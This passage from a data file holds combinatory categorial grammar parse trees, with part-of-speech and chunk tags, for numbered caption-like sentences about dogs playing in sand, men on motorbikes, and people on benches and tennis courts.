t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'posing', 'pose', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(937,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sandy', 'sandy', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sand', 'sand', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
fa(s:pss\np,
bxc((s:pss\np)/pp,
t((s:pss\np)/pp, 'stirred', 'stir', 'VBN', 'I-VP', 'O'),
t((s:pss\np)\(s:pss\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O'))))))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'several', 'several', 'JJ', 'I-NP', 'O'),
t(n, 'plants', 'plant', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'background', 'background', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(938,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sand', 'sand', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'blowing', 'blow', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(939,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'No', 'no', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sand', 'sand', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'blowing', 'blow', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'wind', 'wind', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(940,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sandy', 'sandy', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sand', 'sand', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
fa(s:pss\np,
bxc((s:pss\np)/pp,
t((s:pss\np)/pp, 'stirred', 'stir', 'VBN', 'I-VP', 'O'),
t((s:pss\np)\(s:pss\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O'))))))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'several', 'several', 'JJ', 'I-NP', 'O'),
t(n, 'plants', 'plant', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'background', 'background', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(941,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'yard', 'yard', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(942,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'running', 'run', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(943,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'country', 'country', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(944,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'shade', 'shade', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'trees', 'tree', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(945,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'shade', 'shade', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'trees', 'tree', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(946,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/(s:adj\np), 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
t(s:adj\np, 'high', 'high', 'JJ', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'country', 'country', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(947,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cluster', 'cluster', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'four', 'four', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(948,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Four', 'four', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'grassy', 'grassy', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(949,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
ba(n,
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
t(n, 'brown', 'brown', 'NN', 'I-NP', 'O')),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'spotted', 'spotted', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'lying', 'lie', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(950,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'having', 'have', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'nap', 'nap', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'park', 'park', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(951,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'sport', 'sport', 'NN', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'wheelie', 'wheelie', 'NN', 'I-NP', 'O'))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'friend', 'friend', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'catching', 'catch', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(952,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rider', 'rider', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'orange', 'orange', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'motorcycle', 'motorcycle', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'one', 'one', 'CD', 'I-NP', 'O'),
t(n, 'wheel', 'wheel', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(953,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'elder', 'elder', 'NN', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bench', 'bench', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'gray', 'gray', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(954,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'elderly', 'elderly', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bench', 'bench', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(955,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'paintbrush', 'paintbrush', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/pp, 'next', 'next', 'IN', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
ba(np:nb/n,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'artist', 'artist', 'NN', 'I-NP', 'O')),
t((np:nb/n)\np, '\'s', '\'s', 'POS', 'B-NP', 'O')),
t(n, 'easel', 'easel', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(956,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'paintbrush', 'paintbrush', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/pp, 'next', 'next', 'IN', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
ba(np:nb/n,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'artist', 'artist', 'NN', 'I-NP', 'O')),
t((np:nb/n)\np, '\'s', '\'s', 'POS', 'B-NP', 'O')),
t(n, 'easel', 'easel', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(957,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'barefoot', 'barefoot', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tennis', 'tennis', 'NN', 'I-NP', 'O'),
t(n, 'court', 'court', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(958,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'barefoot', 'barefoot', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tennis', 'tennis', 'NN', 'I-NP', 'O'),
t(n, 'court', 'court', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(959,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
